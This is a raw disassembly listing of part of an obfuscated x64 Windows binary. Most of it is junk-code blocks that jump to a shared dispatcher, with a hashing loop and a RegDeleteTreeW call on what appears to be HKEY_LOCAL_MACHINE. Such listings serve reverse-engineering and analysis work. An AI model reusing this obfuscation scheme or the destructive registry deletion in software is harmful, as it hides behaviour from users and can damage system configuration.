not eax
add eax, 0xe29d3291
xor eax, 0x9e3f8525
rol eax, 0x20
popf
jmp 0x14023f81e
movabs r8, 0x25a036901d3a153f
pushf
not r8
add r8, 0x50c49398
xor r8, 0x49e0e0c1
rol r8, 0x3e
popf
pushf
not r8
add r8, 0x4fb1e802
xor r8, 0x53292c09
rol r8, 0x7c
popf
pushf
not r8
add r8, 0x7241f8fe
xor r8, 0x53e1efb4
rol r8, 0x13
popf
pushf
not r8
add r8, 0x5c835489
xor r8, 0x741c993d
rol r8, 0x8e
popf
nop word [rax + rax]
push rax
pushf
mov eax, 0xd06bc3e8
pushf
not eax
add eax, 0xa72a826d
xor eax, 0x885c53c8
rol eax, 0x9a
popf
pushf
not eax
add eax, 0x953d1a04
xor eax, 0x81f10aef
rol eax, 0xb2
popf
pushf
not eax
add eax, 0x8a59c552
xor eax, 0xb93ccd13
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xac65c0fc
xor eax, 0xce88875e
rol eax, 0xf1
popf
jmp 0x14023f81e
movzx eax, byte [rbx + rcx]
xor rdi, rax
imul rdi, r8
inc rbx
cmp rbx, rdx
jb 0x140240e07
push rax
pushf
mov eax, 0x3070d08
pushf
not eax
add eax, 0xb005ca7f
xor eax, 0xa4ca6a42
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xb22efb63
xor eax, 0xae148f60
rol eax, 0x9d
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0xbfa592a2
pushf
not eax
add eax, 0xfe78098d
xor eax, 0xa414f45b
rol eax, 0xab
popf
pushf
not eax
add eax, 0xe0658a35
xor eax, 0xa64ffd5e
rol eax, 0xc9
popf
jmp 0x14023f81e
mov r9, rdi
lea r8, [rbp + 0x28]
lea rdx, [rbp + 0x50]
mov rbx, qword [rbp + 0x48]
mov rcx, rbx
call fcn.1402261bc
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x140240eb3
push rax
pushf
mov eax, 0x4cb03ce4
pushf
not eax
add eax, 0xe249649c
xor eax, 0xbc6b740d
rol eax, 0xcb
popf
pushf
not eax
add eax, 0x9c6a0eca
xor eax, 0xb1dcb4f0
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xcb5f5b3f
xor eax, 0xae1418c5
rol eax, 0x51
popf
pushf
not eax
add eax, 0xfcb28899
xor eax, 0x8d71aef3
rol eax, 0x8d
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0xaca22b53
pushf
not eax
add eax, 0xf1fcc15b
xor eax, 0xcfd11b7d
rol eax, 0x99
popf
pushf
not eax
add eax, 0xeb20f898
xor eax, 0x9fa6690f
rol eax, 0xbb
popf
pushf
not eax
add eax, 0x8b4e1b73
xor eax, 0xf800672f
rol eax, 0x75
popf
jmp 0x14023f81e
cmp rdx, qword [rbx + 8]
je 0x140240f58
push rax
pushf
mov eax, 0xa91c449e
pushf
not eax
add eax, 0xf5c993d5
xor eax, 0xb8062450
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xfebe26b3
xor eax, 0xbb1f5fb3
rol eax, 0xd5
popf
pushf
not eax
add eax, 0xcb81f63a
xor eax, 0xdca4df42
rol eax, 9
popf
pushf
not eax
add eax, 0xc199de46
xor eax, 0xec40dfe5
rol eax, 0x2d
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x2bee2354
pushf
not eax
add eax, 0xf1e0bd36
xor eax, 0xd14dd75c
rol eax, 0x6b
popf
pushf
not eax
add eax, 0xd7f6affa
xor eax, 0xa1ffe91b
rol eax, 0x20
popf
pushf
not eax
add eax, 0xaff880f4
xor eax, 0xf59afb17
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xfa0b91ac
xor eax, 0x8699bcd3
rol eax, 0x84
popf
jmp 0x14023f81e
mov rbx, qword [rdx + 0x30]
mov rcx, r12
jmp 0x140240fb9
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test rbx, rbx
je 0x14024101d
push rax
pushf
mov eax, 0x7a7f359d
pushf
not eax
add eax, 0xea4d7eb1
xor eax, 0x8c034e2d
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x91a3c3b8
xor eax, 0x8c65a2fd
rol eax, 0x5f
popf
pushf
not eax
add eax, 0xd3644b94
xor eax, 0xdc1ffe64
rol eax, 0xda
popf
pushf
not eax
add eax, 0x9a060dba
xor eax, 0xc02c1644
rol eax, 0x4c
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x1392ca26
pushf
not eax
add eax, 0xabb18754
xor eax, 0xf68feb1e
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xcabaa846
xor eax, 0x974c16e2
rol eax, 0x21
popf
jmp 0x14023f81e
lea rcx, [rbp + 0x60]
jmp 0x140241055
call rbx
mov ebx, eax
jmp 0x1402411a2
mov rcx, r12
jmp 0x1402410bb
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push rax
pushf
mov eax, 0xce9de45
pushf
not eax
add eax, 0xc0c30835
xor eax, 0x830da715
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xc6c66868
xor eax, 0xe4a1db58
rol eax, 4
popf
pushf
not eax
add eax, 0x8173a3bd
xor eax, 0xb3a453ad
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xbe9b319a
xor eax, 0xbfb1882f
rol eax, 0x6f
popf
jmp 0x14023f81e
mov ebx, 0xbb7e8df2
pushf
not ebx
add ebx, 0xe0a8ad72
xor ebx, 0xee0bf920
rol ebx, 0xea
popf
pushf
not ebx
add ebx, 0x86696817
xor ebx, 0xfecfcff2
rol ebx, 0x3b
popf
push rax
pushf
mov eax, 0x623d5b41
pushf
not eax
add eax, 0x864e0419
xor eax, 0xacc56e48
rol eax, 0x3c
popf
pushf
not eax
add eax, 0x8a6a0060
xor eax, 0xed296d12
rol eax, 0xc
popf
pushf
not eax
add eax, 0xf9d6fd50
xor eax, 0xd18afab9
rol eax, 0x54
popf
pushf
not eax
add eax, 0xeab2227b
xor eax, 0xf47d4c56
rol eax, 0xcb
popf
jmp 0x14023f81e
cmp r13, 0x10
jb 0x1402411db
push rax
pushf
mov eax, 0xe4075768
pushf
not eax
add eax, 0xe2e632f2
xor eax, 0xaa7e1fc0
rol eax, 4
popf
pushf
not eax
add eax, 0xcef5b5eb
xor eax, 0x84e971b5
rol eax, 0x9d
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0xf9a426de
pushf
not eax
add eax, 0xa5b24e20
xor eax, 0x8b107de8
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x9750a2a5
xor eax, 0x979844ba
rol eax, 0xdd
popf
pushf
not eax
add eax, 0xff063834
xor eax, 0xd889d47a
rol eax, 0xa3
popf
jmp 0x14023f81e
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x140241277
push rax
pushf
mov eax, 0x88876706
pushf
not eax
add eax, 0xd33ad5ad
xor eax, 0xd8b92809
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xad42f141
xor eax, 0xc0784921
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xfc4c2c64
xor eax, 0xa05cdb89
rol eax, 0xdc
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x73914ebd
pushf
not eax
add eax, 0xcf26a338
xor eax, 0xaaa8d8ec
rol eax, 1
popf
pushf
not eax
add eax, 0xb7abfa07
xor eax, 0xcef6e2e3
rol eax, 0x60
popf
pushf
not eax
add eax, 0xa92c5cc3
xor eax, 0x8d665d08
rol eax, 0x7a
popf
jmp 0x14023f81e
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14024131b
push rax
pushf
mov eax, 0x574b0ee9
pushf
not eax
add eax, 0xd2b2e86d
xor eax, 0xcc0375e6
rol eax, 0x85
popf
pushf
not eax
add eax, 0xf3793f00
xor eax, 0xd363c727
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xc3985cb9
xor eax, 0xd64052e2
rol eax, 0x5a
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x373439b6
pushf
not eax
add eax, 0xd68f6e41
xor eax, 0xf52983de
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xc8ae1f67
xor eax, 0xfdd0ccd5
rol eax, 0x7d
popf
jmp 0x14023f81e
mov rcx, r14
call fcn.1401eb76d
push rax
pushf
mov eax, 0xf44d5597
pushf
not eax
add eax, 0xe0e54e19
xor eax, 0xddc780f4
rol eax, 9
popf
pushf
not eax
add eax, 0x8def5b7e
xor eax, 0xed0e711b
rol eax, 0x6c
popf
jmp 0x14023f81e
mov rax, qword [rsi + 0x10]
sub r15, rax
cmp r15, 0x22
jb 0x1402413cd
push rax
pushf
mov eax, 0xeee60a69
pushf
not eax
add eax, 0xfd6d6d03
xor eax, 0xea8c1ae6
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x9c38130a
xor eax, 0xb82c928a
rol eax, 0x3a
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x72960df9
pushf
not eax
add eax, 0xebf27a73
xor eax, 0xa0e4736e
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x84620446
xor eax, 0x8ac151cd
rol eax, 0x99
popf
pushf
not eax
add eax, 0xe4dd3ed6
xor eax, 0xc8823bcc
rol eax, 0x90
popf
pushf
not eax
add eax, 0xa7165f67
xor eax, 0xc4ca821d
rol eax, 0xac
popf
jmp 0x14023f81e
cmp qword [rsi + 0x18], 8
jb 0x140241460
push rax
pushf
mov eax, 0xc64ff950
pushf
not eax
add eax, 0xce0e4c02
xor eax, 0xe163fd7d
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xc94b6198
xor eax, 0x8f8375a4
rol eax, 0x71
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0xc50e6aeb
pushf
not eax
add eax, 0x8b127eae
xor eax, 0x9109943b
rol eax, 0x64
popf
pushf
not eax
add eax, 0xde10cd5a
xor eax, 0x9994b41b
rol eax, 0xf
popf
pushf
not eax
add eax, 0xde3fb7b3
xor eax, 0x814f99d8
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xf362ffec
xor eax, 0xc762eda9
rol eax, 0x47
popf
jmp 0x14023f81e
mov rsi, qword [rsi]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], 0x22
lea r9, [0x1baa53c57]
pushf
sub r9, 0x7a962067
popf
lea rcx, [rbp + 0x28]
call fcn.1401a7fb8
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 8
cmovae rdx, qword [rbp + 0x28]
mov rcx, 0xffffffff80000002
jmp 0x140241500
call qword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x140241569
push rax
pushf
mov eax, 0x15a86a26
pushf
not eax
add eax, 0xa1aae931
xor eax, 0x808ac938
rol eax, 0x57
popf
pushf
not eax
add eax, 0xce7c54a4
xor eax, 0x83b04452
rol eax, 0xe
popf
pushf
not eax
add eax, 0xc5538468
xor eax, 0xbc51c255
rol eax, 0x43
popf
pushf
not eax
add eax, 0xeef76d32
xor eax, 0x8f15c615
rol eax, 0xd
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x1de7afd1
pushf
not eax
add eax, 0xfa5d8145
xor eax, 0x9c2beca0
rol eax, 0x87
popf
pushf
not eax
add eax, 0xfc6f0973
xor eax, 0xe92eb7c9
rol eax, 0x66
popf
pushf
not eax
add eax, 0xc8d545ef
xor eax, 0xa92b3f36
rol eax, 0x61
popf
jmp 0x14023f81e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14024160d
push rax
pushf
mov eax, 0x39c14e5e
pushf
not eax
add eax, 0xcd5f5582
xor eax, 0xa5bd4c9f
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xc70a17da
xor eax, 0xb947360f
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x87300245
xor eax, 0xaa58fa1a
rol eax, 0xbf
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0xca0d8c88
pushf
not eax
add eax, 0xaa0f95f0
xor eax, 0xa77968c5
rol eax, 0xe
popf
pushf
not eax
add eax, 0xc5ed47a4
xor eax, 0xefd4b5c5
rol eax, 0x8c
popf
jmp 0x14023f81e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14024168c
push rax
pushf
mov eax, 0x9d7cff9d
pushf
not eax
add eax, 0x9b96cce6
xor eax, 0x92d14671
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xc745f7d7
xor eax, 0x90ece66f
rol eax, 0x2a
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x35b98d82
pushf
not eax
add eax, 0xc8714813
xor eax, 0x93f30bbf
rol eax, 0x25
popf
pushf
not eax
add eax, 0xc690d87c
xor eax, 0x892ed6fc
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xf89cd7fa
xor eax, 0x84569188
rol eax, 0xc8
popf
jmp 0x14023f81e
call fcn.1401eb76d
nop
push rax
pushf
mov eax, 0x26f4d379
pushf
not eax
add eax, 0xb10d1223
xor eax, 0xc9946abf
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xfc6f2e75
xor eax, 0xd74d684a
rol eax, 0x68
popf
jmp 0x14023f81e
mov rdx, qword [rbp + 0x88]
cmp rdx, 8
jb 0x140241771
push rax
pushf
mov eax, 0x6c77a7c4
pushf
not eax
add eax, 0x81e8594a
xor eax, 0xc12a86c6
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xa4f67dc6
xor eax, 0xbcf471d7
rol eax, 0xb
popf
pushf
not eax
add eax, 0x9436b6b1
xor eax, 0xdee68a69
rol eax, 0x86
popf
pushf
not eax
add eax, 0xea2ae13d
xor eax, 0xe9f4420c
rol eax, 0x79
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x67eb6bd
pushf
not eax
add eax, 0x9cfccea0
xor eax, 0xb7d5b89d
rol eax, 0x40
popf
pushf
not eax
add eax, 0xcb4c6aac
xor eax, 0xa9a0132c
rol eax, 0x56
popf
jmp 0x14023f81e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1402417ef
push rax
pushf
mov eax, 0xc74fadf0
pushf
not eax
add eax, 0xc1bc86da
xor eax, 0x871ccc69
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xbc1ac93f
xor eax, 0xb98ab984
rol eax, 0x61
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x2719fa74
pushf
not eax
add eax, 0x98666aa1
xor eax, 0x8413f6d6
rol eax, 0x49
popf
pushf
not eax
add eax, 0xaa489ff0
xor eax, 0xeb3a0e05
rol eax, 0x56
popf
jmp 0x14023f81e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14024186a
push rax
pushf
mov eax, 0x79691ebc
pushf
not eax
add eax, 0x9ad81765
xor eax, 0xaa163e1e
rol eax, 0x62
popf
pushf
not eax
add eax, 0xdbc60a58
xor eax, 0x84e2ef7d
rol eax, 0x48
popf
jmp 0x14023f81e
push rax
pushf
mov eax, 0x65bdb7d0
pushf
not eax
add eax, 0xac62b2bc
xor eax, 0xf26dea3c
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xaa5eae22
xor eax, 0xfaf51eb0
rol eax, 0x9c
popf
jmp 0x14023f81e
call fcn.1401eb76d
push rax
pushf
mov eax, 0x46b126b5
pushf
not eax
add eax, 0xf5704120
xor eax, 0x9f38f526
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xcd9106b4
xor eax, 0xd4686da3
rol eax, 0x69
popf
pushf
not eax
add eax, 0xa9acb6dd
xor eax, 0xe7456688
rol eax, 0xda
popf
pushf
not eax
add eax, 0x8046ae17
xor eax, 0xef6a6327
rol eax, 0x5d
popf
jmp 0x14023f81e
mov eax, ebx
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.14027ae25
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1401c2053
int3
call fcn.14027e366
nop
push rax
pushf
mov eax, 0x46b1070
pushf
not eax
add eax, 0x8ef31d5a
xor eax, 0xbcb11131
rol eax, 0x62
popf
pushf
not eax
add eax, 0xd46b4ca9
xor eax, 0xfb868f48
rol eax, 0x77
popf
jmp 0x14023f81e
call fcn.1401c2053
nop
push rax
pushf
mov eax, 0xcc095f4
pushf
not eax
add eax, 0xa4162f83
xor eax, 0x9a92d136
rol eax, 0x9d
popf
pushf
not eax
add eax, 0xcdddb8fc
xor eax, 0xbd001bfc
rol eax, 0x5d
popf
pushf
not eax
add eax, 0x91dcd75d
xor eax, 0x83b83c85
rol eax, 0xbf
popf
jmp 0x14023f81e
call fcn.14027e366
int3
call fcn.1401c2053
int3